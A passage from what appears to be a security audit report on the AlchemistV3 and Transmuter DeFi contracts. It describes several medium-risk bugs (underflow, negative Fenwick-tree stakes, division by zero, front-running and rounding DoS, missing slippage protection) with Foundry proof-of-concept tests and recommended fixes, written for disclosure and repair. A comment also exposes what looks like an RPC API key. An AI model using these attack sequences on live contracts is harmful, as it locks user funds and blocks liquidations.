    // another random EOA for testing
    address anotherExternalUser = address(0x420Ab24368E5bA8b727E9B8aB967073Ff9316969);

    // another random EOA for testing
    address yetAnotherExternalUser = address(0x520aB24368e5Ba8B727E9b8aB967073Ff9316961);

    // another random EOA for testing
    address someWhale = address(0x521aB24368E5Ba8b727e9b8AB967073fF9316961);
```

```
// WETH address
address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

// Mock the price feed call
address ETH_USD_PRICE_FEED_MAINNET = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;

// Mock the price feed call
uint256 ETH_USD_UPDATE_TIME_MAINNET = 3600 seconds;

function setUp() external {
    // test maniplulation for convenience
    address caller = address(0xdead);
    address proxyOwner = address(this);
    vm.assume(caller != address(0));
    vm.assume(proxyOwner != address(0));
    vm.assume(caller != proxyOwner);
    vm.startPrank(caller);

    // Fake tokens

    fakeUnderlyingToken = new TestERC20(100e18, uint8(18));
    fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
    alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

    ITransmuter.TransmuterInitializationParams memory transParams =
    ↪  ITransmuter.TransmuterInitializationParams({
        syntheticToken: address(alToken),
        feeReceiver: address(this),
        timeToTransmute: 5_256_000,
        transmutationFee: 10,
        exitFee: 20,
        graphSize: 52_560_000
    });

    // Contracts and logic contracts
    alOwner = caller;
    transmuterLogic = new Transmuter(transParams);
    alchemistLogic = new AlchemistV3();
    whitelist = new Whitelist();

    // AlchemistV3 proxy
    AlchemistInitializationParams memory params = AlchemistInitializationParams({
        admin: alOwner,
        debtToken: address(alToken),
        underlyingToken: address(fakeUnderlyingToken),
        yieldToken: address(fakeYieldToken),
        blocksPerYear: 2_600_000,
        depositCap: type(uint256).max,
        minimumCollateralization: minimumCollateralization,
        collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
        globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
        tokenAdapter: address(fakeYieldToken),
        transmuter: address(transmuterLogic),
        protocolFee: 0,
        protocolFeeReceiver: address(10),
        liquidatorFee: liquidatorFeeBPS
    });

    bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
    proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
    alchemist = AlchemistV3(address(proxyAlchemist));

    // Whitelist alchemist proxy for minting tokens
    alToken.setWhitelist(address(proxyAlchemist), true);

    whitelist.add(address(0xbeef));
    whitelist.add(externalUser);
    whitelist.add(anotherExternalUser);

    transmuterLogic.setAlchemist(address(alchemist));
    transmuterLogic.setDepositCap(uint256(type(int256).max));

    alchemistNFT = new AlchemistV3Position(address(alchemist));
    alchemist.setAlchemistPositionNFT(address(alchemistNFT));
```

```
        alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist), alOwner);
        alchemistFeeVault.setAuthorization(address(alchemist), true);
        alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
        vm.stopPrank();

        // Add funds to test accounts
        deal(address(fakeYieldToken), address(0xbeef), accountFunds);
        deal(address(fakeYieldToken), address(0xdad), accountFunds);
        deal(address(fakeYieldToken), externalUser, accountFunds);
        deal(address(fakeYieldToken), yetAnotherExternalUser, accountFunds);
        deal(address(fakeYieldToken), anotherExternalUser, accountFunds);
        deal(address(alToken), address(0xdad), 1000e18);
        deal(address(alToken), address(anotherExternalUser), accountFunds);

        deal(address(fakeUnderlyingToken), address(0xbeef), accountFunds);
        deal(address(fakeUnderlyingToken), externalUser, accountFunds);
        deal(address(fakeUnderlyingToken), yetAnotherExternalUser, accountFunds);
        deal(address(fakeUnderlyingToken), anotherExternalUser, accountFunds);
        deal(address(fakeUnderlyingToken), alchemist.alchemistFeeVault(), 10_000 ether);

        vm.startPrank(anotherExternalUser);

        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);

        vm.stopPrank();
        vm.startPrank(yetAnotherExternalUser);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);
        vm.stopPrank();

        vm.startPrank(someWhale);
        deal(address(fakeYieldToken), someWhale, whaleSupply);
        deal(address(fakeUnderlyingToken), someWhale, whaleSupply);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), whaleSupply + 100e18);
        vm.stopPrank();
    }


    // forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/OuyKpurt0zYmNPmcYgQJ-xP_FJruFwkr
    ↪  --fork-block-number 21835200 --mt testIncrease_minimumCollateralization_DOS_Redemption
    // if minimumCollateralization in increased, claims will reduce _totalLocked by to much => redeem will
    ↪  revert because _totalLocked will be to low
    function testIncrease_minimumCollateralization_DOS_Redemption() external {
        //set fee to 10% to compensate for wrong deduction of _totalLocked in `redeem()`
        vm.startPrank(alOwner);
        alchemist.setProtocolFee(1000);
        uint256 minimumCollateralizationBefore = alchemist.minimumCollateralization();
        console.log("minimumCollateralization before", minimumCollateralizationBefore);
        //deposit some tokens
        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), 100e18);
        alchemist.deposit(100e18, address(0xbeef), 0);
        // a single position nft would have been minted to 0xbeef
        uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        //mint some alTokens
        alchemist.mint(tokenIdFor0xBeef, alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
        ↪  minimumCollateralization, address(0xbeef));
        vm.stopPrank();

        //skip a block to be able to repay
        vm.roll(block.number + 1);

        //admit increase minimumCollateralization
        vm.startPrank(alOwner);
        alchemist.setMinimumCollateralization(uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 88e16); // 88%
        ↪  collateralization
        uint256 minimumCollateralizationAfter = alchemist.minimumCollateralization();
        assertGt(minimumCollateralizationAfter, minimumCollateralizationBefore, "minimumCollateralization
        ↪  should be increased");
        console.log("minimumCollateralization after", minimumCollateralizationAfter);

        //try to repay
        vm.startPrank(address(0xbeef));
        uint256 alTokenBalanceBeef = alToken.balanceOf(address(0xbeef));
        //give alowance to alchemist to burn
        SafeERC20.safeApprove(address(alToken), address(alchemist), alTokenBalanceBeef/2);
        alchemist.burn(alTokenBalanceBeef/2, tokenIdFor0xBeef);
```

```
        //create a redemption request for 50% of the alToken balance
        vm.startPrank(address(0xbeef));
        //give alowance to transmuter to burn
        alToken.approve(address(transmuterLogic), alTokenBalanceBeef/2);
        transmuterLogic.createRedemption(alTokenBalanceBeef/2);

        //make sure redemption can be claimed in full
        vm.roll(block.number + 6_256_000);
        //try to call claimRedemption => should revert
        //expect to revert because of underflow (0x11)
        vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
        transmuterLogic.claimRedemption(1);
    }

}
```

Recommendation: Consider adding a protection against underflow to the `redeem()` function like it is done in `_subDebt`. An other fix would be to remove the variable `_totalLocked` from the code base since it is private (cannot be used for display purposes) and as far as I can see is not used for anything relevant.

3.2.4 Fenwick Tree Query Allows Incorrect Stake Values

Submitted by silverologist

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The Fenwick tree implementation used by the protocol can produce incorrect stake values when queries include indices beyond the currently initialized graph size.

Finding Description: When the graph size increases, the rightmost level-1 node of the Fenwick tree is propagated to all new level-1 nodes using the following logic:

```
if (graphSize != 0) {
    uint256 copy = g.g[graphSize]; // graph size is a power of 2 => level 1 node
    while (graphSize <= newSize) {
        g.g[graphSize] = copy;
        graphSize += graphSize; // move one node to the right
    }
```

This step ensures correctness in future calculations by initializing new nodes. However, if a stake query is made before this update occurs-specifically, if the queried range includes uninitialized nodes-then the returned stake value will be incorrect.

Stake queries rely on calculating the difference between values at the `start` and `end` positions using:

```
(begDelta,begProd) = query(g.g, start);
(endDelta,endProd) = query(g.g, end);
return ((int256(end) * endDelta) - endProd) - ((int256(start) * begDelta) - begProd);
```

If the start node contains negative deltas due to how stake expirations are applied (stakes are added from the start node and subtracted from the expiration node), and the end node is uninitialized, the result will be an incorrect negative stake value.

In the `queryGraph` function, the protocol attempts to convert the queried stake value to a uint256, which will revert if the value is negative:

```
return (queried / BLOCK_SCALING_FACTOR).toUint256() + 1;
```

Since `queryGraph` is invoked by `_earmark`, and `_earmark` is used across many core `AlchemistV3` functions-including time sensitive operations like liquidations-this will result in DoS until new stakes are added that initialize the end range branch of the tree.

Impact Explanation: DoS due to negative stake values for queries involving unitialized portions of the Fenwick tree. Delayed liquidations.

Likelihood Explanation: This issue always occurs when the end of the queried range is based off of an uninitialized graph branch.

Proof of Concept:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import "../libraries/StakingGraph.sol";

contract POC is Test {
    using StakingGraph for StakingGraph.Graph;

    StakingGraph.Graph private graph;

    function setUp() public {
        // Initialize with empty graph
    }

    function test_negative_stake() public {
        // Add stake of 100 wei from block 25 to block 28
        graph.addStake(100, 25, 3);
        assertEq(graph.size, 32, "Graph size should be 32 after stake");

        // Query stake at block 63 => start index 63, end index 64 (incremented inside lib)
        //
        // To calculate the level 1 branch of a node take the highest power of two that is <= to the node index
        // start block 63 -> level 1 branch is 2**5 = 32
        // end block 64 -> level 1 branch is 2**6 = 64
        //
        // Since the current graph size is 32:
        // - the start query is based on a branch including stake offsets
        // - the end query is based on an uninitialized branch

        int256 result = graph.queryStake(63, 63);
        assertEq(result, -300);

        // Now we add a stake at a higher block
        // This will not affect the previous block values but it will force all level 1 branches to be
        // initialized, which will fix the previous query
        graph.addStake(100, 2000000, 1);

        // The previous query should now be fixed
        result = graph.queryStake(63, 63);
        assertEq(result, 0);
    }
}
```

3.2.5 `transmuter.totalLocked()` can be manipulated DoSing some function in the AlchemistV3 contract

Submitted by TamayoNft, also found by falconhoof, johnson, phrax, 0xBeastBoy, nagato, PeterSR, 0xTheBlackPanther, montecristo, ddatachick, Stormreckson, Cybrid, lyuboslav, 4mj3x, 4mj3x, 0xNForcer, rokinot, Araj, 4mj3x, Maze, tpiliposian, JuggerNaut63 and Shahen

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: There are some checks for the `totalLocked` in the `AlchemistV3` that be DoSed. One of this checks is when the transmuter want to be changed:

```
function setTransmuter(address value) external onlyAdmin {
    _checkArgument(value != address(0));

    // Check that old transmuter has enough funds to cover all future transmutations before allowing a swap
    require(convertYieldTokensToDebt(TokenUtils.safeBalanceOf(yieldToken, transmuter)) >=
    ↪  ITransmuter(transmuter).totalLocked());  <-----

    transmuter = value;
    emit TransmuterUpdated(value);
}
```

Or the `burn` function:

```
function burn(uint256 amount, uint256 recipientId) external returns (uint256) {
    // ...

    // Must only burn enough tokens that the transmuter positions can still be fulfilled
    if (credit > totalDebt - ITransmuter(transmuter).totalLocked()) {  <-----

        revert BurnLimitExceeded(credit, totalDebt - ITransmuter(transmuter).totalLocked());
    }

    // ...
}
```

The problem is that the `ITransmuter(transmuter).totalLocked()` can be easily manipulated by depositing and withdrawing(creating and claim redemptions) in the same blocktimestamp sandwiching the target call (`burn` or `setTransmuter`) and making it DoS.

Impact Explanation: `burn` or `setTransmuter` can be DoS front running the call creating and then claiming a redemption, all of this in the same timestamp.

Proof of Concept: Run the next proof of concept in the `AlchemistV3.t.sol`:

```
function testSetTransmuterFail() external {
    //@audit medium 1
    // this is the user front runing the settrasmuter call
    {
        uint256 amount = 100e18;
        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
        alchemist.deposit(amount, address(0xbeef), 0);
        // a single position nft would have been minted to 0xbeef
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        alchemist.mint(tokenId, (amount / 2), address(0xbeef));
        vm.assertApproxEqAbs(IERC20(alToken).balanceOf(address(0xbeef)), (amount / 2),
        ↪  minimumDepositOrWithdrawalLoss);
        vm.stopPrank();

        vm.startPrank(address(0xdad));
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 50e18);
        transmuterLogic.createRedemption(50e18);
        vm.stopPrank();
    }

    // this is the owner trying to change the trasmutes but the call was already front runed creating a
    ↪  redemption
    vm.prank(alOwner);
    vm.expectRevert();
    alchemist.setTransmuter(address(0xbeef));
}
```

Recommendation: Consider don't allow users to create and claim redemptions in the same `block.timestamp` in the trasmuter.

3.2.6 Claim Redemption Function DOS Risk from Improper Debt State Handling in Transmuter

Submitted by Bigsam, also found by iAfrika, WaffleWizard, tough, hrmneffdii, hrmneffdii and 0x15

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The Transmuter contract relies on the `AlchemistV3` contract's `getTotalUnderlyingValue()` and `totalSyntheticsIssued()` to compute a bad debt ratio. However, when all debts have been repaid and all users exit the `AlchemistV3` contract using repay, this can leave the total underlying value at zero. In such a scenario, the `claimRedemption()` function in Transmuter will attempt a division by zero, causing all subsequent claims to revert.

Finding Description: When users fully repay their debt and exit the `AlchemistV3` contract, all yield tokens are transferred to the Transmuter. Despite the system having no bad debt and no remaining users in `AlchemistV3`, the `claimRedemption()` function in Transmuter still attempts to calculate the bad debt ratio:

```
/// @inheritdoc ITransmuter
function claimRedemption(uint256 id) external {
    StakingPosition storage position = _positions[id];

    if (position.maturationBlock == 0) {
        revert PositionNotFound();
    }

    uint256 transmutationTime = position.maturationBlock - position.startBlock;
    uint256 blocksLeft = position.maturationBlock > block.number ? position.maturationBlock - block.number : 0;
    uint256 amountNottransmuted = blocksLeft > 0 ? position.amount * blocksLeft / transmutationTime : 0;
    uint256 amountTransmuted = position.amount - amountNottransmuted;

    if (_requireOwned(id) != msg.sender) {
        revert CallerNotOwner();
    }

    // Burn position NFT
    _burn(id);

    // If the contract has a balance of yield tokens from alchemist repayments then we only need to redeem
    ↪  partial or none from Alchemist earmarked
    uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.yieldToken(), address(this));
    uint256 debtValue = alchemist.convertYieldTokensToDebt(yieldTokenBalance);
    uint256 amountToRedeem = amountTransmuted > debtValue ? amountTransmuted - debtValue : 0;
    if (amountToRedeem > 0) alchemist.redeem(amountToRedeem);  // medium  Bug last user to redeem will have
    ↪  there orders reverted if baddebt redeem > yield token

    uint256 feeAmount = amountTransmuted * transmutationFee / BPS;
    uint256 claimAmount = amountTransmuted - feeAmount;

    uint256 syntheticFee = amountNottransmuted * exitFee / BPS;
    uint256 syntheticReturned = amountNottransmuted - syntheticFee;

    // Remove untransmuted amount from the staking graph
    if (blocksLeft > 0) _updateStakingGraph(-position.amount.toInt256() * BLOCK_SCALING_FACTOR /
    ↪  transmutationTime.toInt256(), blocksLeft);

    // Ratio of total synthetics issued by the alchemist / underlingying value of collateral stored in the
    ↪  alchemist                        //
    // If the system experiences bad debt we use this ratio to scale back the amount of yield tokens that are
    ↪  transmuted
    uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
    ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) /  // @audit
    alchemist.getTotalUnderlyingValue(); // BUG

    if (badDebtRatio > 1e18) { // bug impact
        claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
        feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
    }
```

If `getTotalUnderlyingValue()` returns zero, this leads to a division-by-zero panic and a full denial-of-service (DOS) for all users attempting to claim yield tokens for their locked debt tokens.

Impact Explanation: If all users repay their debt and leave the system, the claimRedemption() function will revert for all remaining staking positions due to a division by zero. This locks up user funds and halts redemption.

Likelihood Explanation: The issue arises under a very specific condition:

- All users must repay their debts using repay.
- All users must exit the Alchemist contract.

The total underlying value must drop to zero while users still have claimable staking positions in Transmuter.

Proof of Concept: `Transmuter.t.sol`:

Update line 76 to >=:

```
function getTotalUnderlyingValue() external view returns (uint256) {

    if (underlyingValue >= 0) { // <<<
        return underlyingValue;
    } else {
        return type(uint256).max / 1e20; // <<<
    }
}
```

```
function testClaimRedemption_division() public {
    deal(address(collateralToken), address(transmuter), uint256(type(int256).max) / 1e20);

    vm.prank(address(0xbeef));
    transmuter.createRedemption(100e18);

    vm.roll(block.number + 5_256_000);  // Mature the staking position

    alchemist.setUnderlyingValue(0);  // Simulate all users exiting with 0 underlying left

    emit log_named_uint("total token there",alchemist.getTotalUnderlyingValue());
    vm.prank(address(0xbeef));
    transmuter.claimRedemption(1);  // Fails with panic: division or modulo by zero (0x12)
}
```

Since all debt in alchemist is 0 , and users have existed the contract. total yield is also 0.

```
Ran 1 test for src/test/Transmuter.t.sol:TransmuterTest
[FAIL: panic: division or modulo by zero (0x12)] testClaimRedemption_division() (gas: 1347076)
Logs:
  total token there: 0
  total token there: 0

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 7.31ms (1.27ms CPU time)

Ran 1 test suite in 126.91ms (7.31ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/Transmuter.t.sol:TransmuterTest
[FAIL: panic: division or modulo by zero (0x12)] testClaimRedemption_division() (gas: 1347076)
```

Recommendation: Normalise the check to skip the bad debt ratio when total debt and underlying asset in the alchemist contract is 0.

3.2.7 `deposit()` can be DoS through direct token transfer or deposit/withdraw cycling

Submitted by Araj, also found by ctmotox2, 0xorangesantra, silverologist, T1MOH, pepoc3, 0xdice91, Coachmike, BBBB, 0xisboss, 4mj3x, 0xweb3boy, botdidy, TamayoNft, Rolando and 0xAristos

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `deposit()` function in AlchemistV3 contract checks if the total balance of yieldTokens after the deposit would exceed the depositCap. This implementation is vulnerable to a denial-of-service (DoS) attack where a malicious actor can either directly transfer yieldTokens to the contract or temporarily deposit and withdraw large amounts, preventing legitimate users from depositing funds.

Vulnerability Detail: The `deposit()` function implements a depositCap check as follows:

```
_checkState(IERC20(yieldToken).balanceOf(address(this)) + amount <= depositCap);
```

This check has two key vulnerabilities:

1. It relies on the contract's balance which can be manipulated by sending tokens directly to the contract.
2. There is no fee or time-lock mechanism on deposits and withdrawals, making it costless for an attacker to temporarily consume the deposit cap.

A malicious actor can execute this attack through two methods:

- Direct token transfer: Transfer yieldTokens directly to the contract address without using the `deposit()` function.
- Deposit/withdraw cycling: Deposit a large amount of yieldTokens up to the cap and withdraw them at will.

Impact: This vulnerability allows an attacker to prevent legitimate users from making deposits into the protocol, causing:

1. Denial of service for new deposits.
2. Reduced protocol usage and potentially lost revenue.

Proof of Concept:

```
function testDepositCanBeDoSed() external {
    // Initial setup - deposit and borrow
    uint256 depositAmount = 1000e18;
    uint256 borrowAmount = 900e18;

    //Malicious user directly transfering token
    address attacker = makeAddr("attacker");
    uint depositCap = alchemist.depositCap();
    deal(address(fakeYieldToken), attacker, depositCap);
    vm.prank(attacker);
    fakeYieldToken.transfer(address(alchemist), depositCap);

    // User makes a deposit and borrows
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), depositAmount);
    vm.expectRevert();
    alchemist.deposit(depositAmount, address(0xbeef), 0);
    vm.stopPrank();
}
```

Recommendation:

1. Track deposited tokens separately from the contract's balance.
2. Add a small withdrawal fee or timelock to discourage deposit/withdraw cycling attacks.

3.2.8 `claimRedemption` is lack of slippage protect

Submitted by 0x9527, also found by dinkras, LordAlive, n1kh1l, 0xmechanic, 0xweb3boy, 4mj3x and Araj

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: `claimRedemption` is lack of slippage protect, user can result in get less `yieldToken` due to `badDebtRatio`.

Finding Description: If the system experiences bad debt, user get less `yieldToken`:

```
// Ratio of total synthetics issued by the alchemist / underlingying value of collateral stored in the
↪  alchemist
// If the system experiences bad debt we use this ratio to scale back the amount of yield tokens that are
↪  transmuted
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue(); //@audit the
↪  yield token in alchemistV3 is a changing value. can lead to user lost of funds. Need some meve protection
↪  here.
console2.log("badDebtRatio: ", badDebtRatio);
if (badDebtRatio > 1e18) { //@audit assume yieldToken is a fix 18 decimal token.
    claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio; //@audit rounding error?
    feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
}

console2.log("claimAmount: ", claimAmount);
TokenUtils.safeTransfer(alchemist.yieldToken(), msg.sender, alchemist.convertDebtTokensToYield(claimAmount));
TokenUtils.safeTransfer(alchemist.yieldToken(), protocolFeeReceiver,
↪  alchemist.convertDebtTokensToYield(feeAmount));
```

Assuming `totalSyntheticsIssued` is a fixed value, whether the system experiences bad debt depends on the value returned by `alchemist.getTotalUnderlyingValue()`. The value of `getTotalUnderlyingValue()` can be affected by two factors:

- Liquidations.
- Deposits or withdrawals of `yieldToken` from the `AlchemistV3` contract.

Impact Explanation: User can less token than expected.

Likelihood Explanation: User can withdraw yield token anytime if HF is higher than 200%.

Proof of Concept: add the following test to `Transmuter.t.sol`:

```
function testUserRdemptionIsLackOfSlippageProtect() public {
    deal(address(collateralToken), address(transmuter), uint256(type(int256).max) / 1e20);

    vm.prank(address(0xbeef));
    transmuter.createRedemption(100e18);

    vm.roll(block.number + 5_256_000/2);

    assertEq(collateralToken.balanceOf(address(0xbeef)), 0);
    assertEq(alETH.balanceOf(address(transmuter)), 100e18);

    uint256 snapshotId = vm.snapshot();

    vm.prank(address(0xbeef));
    transmuter.claimRedemption(1);
    console2.log("balance1",IERC20(alchemist.yieldToken()).balanceOf(address(0xbeef)));

    vm.revertTo(snapshotId);
    alchemist.setUnderlyingValue((type(uint256).max / 1e20) / 2);

    vm.prank(address(0xbeef));
    transmuter.claimRedemption(1);
    console2.log("balance2",IERC20(alchemist.yieldToken()).balanceOf(address(0xbeef)));
}
```

Output:

```
[PASS] testUserRdemptionIsLackOfSlippageProtect() (gas: 1757105)
Logs:

  balance1 25000000000000000000
  balance2 12500000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.49ms (2.30ms CPU time)

Ran 1 test suite in 168.35ms (8.49ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommendation: Add slippage protect.

3.2.9 Changing transmuter address can lock user funds due to price fluctuations in yieldToken-to-debtToken conversion

Submitted by Araj, also found by T1MOH, 0xDeoGratias, silverologist and farismaulana

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `setTransmuter()` function in AlchemistV3 has a validation check that ensures the old transmuter has enough funds to cover all future redemptions. However, this check uses the current conversion rate between yieldToken and debtToken, which can change over time. If the price changes after setting a new transmuter, users may be unable to claim their redemptions, or excess yieldTokens may be permanently locked in the old transmuter.

Finding Description: When the admin calls `setTransmuter()` to update the transmuter address, the function checks that the old transmuter has enough funds to cover all pending redemptions:

```
require(convertYieldTokensToDebt(TokenUtils.safeBalanceOf(yieldToken, transmuter)) >=
↪  ITransmuter(transmuter).totalLocked());
```

This check converts the yieldToken balance to debtToken equivalent using the current market price via the token adapter. The problem is that this price isn't fixed - it can fluctuate after the transmuter is changed:

1. If the price decreases (yieldToken becomes less valuable), the old transmuter won't have enough yieldTokens to fulfill all redemptions.
2. When users try to claim their redemptions from the old transmuter, it will attempt to call `redeem()` on the AlchemistV3 contract for more yieldTokens.
3. The `redeem()` function has the `onlyTransmuter` modifier, but since the transmuter has been changed, the old transmuter's call will revert.
4. This will leave users unable to claim their funds.

Conversely, if the price increases, excess yieldTokens will be permanently locked in the old transmuter with no way to recover them.

Impact:

- Users may be unable to claim their redemptions if the yieldToken price decreases after a transmuter update.
- Protocol funds can be permanently locked in the old transmuter if the yieldToken price increases.

Proof of Concept:

1. User deposits into the transmuter to redeem `debtTokens`, locking 100 `debtTokens`.
2. At current price, this requires 50 `yieldTokens` (assuming 1 `debtToken` = 0.5 `yieldTokens`).
3. Old transmuter has exactly 50 `yieldTokens`.
4. Admin calls `setTransmuter()` which passes the check since 50 `yieldTokens` converts to 100 `debtTokens`.
5. Market conditions change, and now 1 `debtToken` = 0.6 `yieldTokens`.
6. Now, transmuter needs 60 `yieldTokens` for same 100 `debtTokens`.
7. User tries to claim their redemption of 100 `debtTokens`.
8. Old transmuter attempts to call `redeem()` in `AlchemistV3` for that extra 10 `yieldTokens`.
9. Transaction reverts because the old transmuter is not the current transmuter.

Here is the proof of concept for the above scenario:

```
function testChangeInTransmuterCanRevertClaimRedemption() external {
    vm.startPrank(someWhale);
    fakeYieldToken.mint(whaleSupply, someWhale);
    vm.stopPrank();

    // Initial setup - deposit and borrow
    uint256 depositAmount = 1000e18;
    uint256 borrowAmount = 900e18;

    // User makes a deposit and borrows
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), depositAmount);
    alchemist.deposit(depositAmount, address(0xbeef), 0);
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, borrowAmount, externalUser);
    vm.stopPrank();

    // Another user submits tokens for redemption, which earmarks debt
    vm.startPrank(externalUser);
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), borrowAmount);
    transmuterLogic.createRedemption(borrowAmount);
    vm.stopPrank();

    //Passing timeToTransmute for complete withdrawal
    uint256 timeToTransmute = transmuterLogic.timeToTransmute();
    vm.roll(block.number + timeToTransmute + 1);

    //User repaid all his debt
    vm.startPrank(address(0xbeef));
    deal(address(fakeYieldToken), address(0xbeef), borrowAmount + 10e18);
```

```
    fakeYieldToken.approve(address(alchemist), borrowAmount + 10e18);
    alchemist.repay(borrowAmount, tokenId);
    vm.stopPrank();

    //Admin changed the transmuter
    address newTransmuter = makeAddr("newTransmuter");
    vm.prank(alOwner);
    alchemist.setTransmuter(newTransmuter);

    // Cause price drop
    uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
    fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
    uint256 modifiedVaultSupply = initialVaultSupply + (initialVaultSupply * 590 / 10_000);
    fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

    //User claimed his redemption
    vm.startPrank(externalUser);
    vm.expectRevert();
    transmuterLogic.claimRedemption(1);
    vm.stopPrank();
}
```

Recommendation: `claimRedemption()` uses current conversion rate for redemption, instead store the conversion rate at which transmuter was changed and used that stored value in `claimRedemption()`.

3.2.10 Liquidations can be DoSed by front running with repay()

Submitted by prk0, also found by 0x9527

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: A malicious user can force liquidations to fail temporarily for specific accounts.

Finding Description: `AlchemistV3::_liquidate()` is called by the external `liquidate()` and `batchLiquidate()` functions.

If there's any earmarked debt, `_forceRepay()` is called to pay with the earmarked debt. (line 796):

```
function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256 feeInYield, uint256
↪  feeInUnderlying) {
      // SNIP

      // Try to repay earmarked debt if it exists
794   uint256 repaidAmountInYield = 0;
795   if (account.earmarked > 0) {
796       repaidAmountInYield = _forceRepay(accountId, convertDebtTokensToYield(account.earmarked));
797   }

      // SNIP
}
```

In `AlchemistV3::_forceRepay()`, if `amount == 0`, the transaction reverts:

```
function _forceRepay(uint256 accountId, uint256 amount) internal returns (uint256) {
    _checkArgument(amount > 0);

    // SNIP
}
```

The `amount` value that is passed into `AlchemistV3:_forceRepay()` from `AlchemistV3::_liquidate()` is `convertDebtTokensToYield(account.earmarked)`.

```
function convertDebtTokensToYield(uint256 amount) public view returns (uint256) {
    return convertUnderlyingTokensToYield(normalizeDebtTokensToUnderlying(amount));
}
```

The `convertDebtTokensToYield()` is a conversion helper function that converts the input amount from debt token decimals to yield token decimals.

The first step of the conversion process is to normalize debt tokens to underlying token decimals.

```
function normalizeDebtTokensToUnderlying(uint256 amount) public view returns (uint256) {
    return amount / underlyingConversionFactor;
}
```

In the case of an Euler USDC-USDC-alUSD deployment, where Euler USDC is the yield token, USDC is the underlying token, and alUSD is the debt token, the `amount` would be divided by `1e12`, since `underlyingConversionFactor` in decimals between USDC-alUSD is `1e12` (set at `initialize()` time):

```
function initialize(AlchemistInitializationParams memory params) external initializer {
    _checkArgument(params.protocolFee <= BPS);
    _checkArgument(params.liquidatorFee <= BPS);

    debtToken = params.debtToken;
    underlyingToken = params.underlyingToken;
    underlyingConversionFactor = 10 ** (TokenUtils.expectDecimals(params.debtToken) -
    ↪  TokenUtils.expectDecimals(params.underlyingToken)); // <<<

    // SNIP
}
```

A malicious user can prevent themselves from getting liquidated temporarily using `repay()` by manipulating `account.earmarked` to make `convertDebtTokensToYield(account.earmarked)` round to 0, causing `_forceRepay()` to revert.

- Pre-conditions:
  - At least one `Transmuter::createRedemption()` call was made - results in `account.earmarked` incremented in `_earmark() + sync()`.
  - Several blocks have elapsed since `createRedemption()` call.

```
function repay(uint256 amount, uint256 recipientTokenId) public returns (uint256) {
    // SNIP

    uint256 yieldToDebt = convertYieldTokensToDebt(amount);
    uint256 credit = yieldToDebt > debt ? debt : yieldToDebt;
    uint256 creditToYield = convertDebtTokensToYield(credit);

    // Repay debt from earmarked amount of debt first
    uint256 earmarkToRemove = credit > account.earmarked ? account.earmarked : credit;
    account.earmarked -= earmarkToRemove;

    // SNIP
}
```

A malicious user could front run a `liquidate()` call and pay back just enough so that `convertDebtTokensToYield(account.earmarked)` truncates to 0, which will cause the `liquidate()` transaction to revert.

Liquidations will revert until 1 - more time elapses and the `block.number` increments or 2 - another redemption is made so that `account.earmarked` can be incremented above the `1e12` threshold. However, the user can repeat the attack when that happens and `liquidate()` would revert again.

Impact Explanation: Liquidations can be DoSed temporarily.

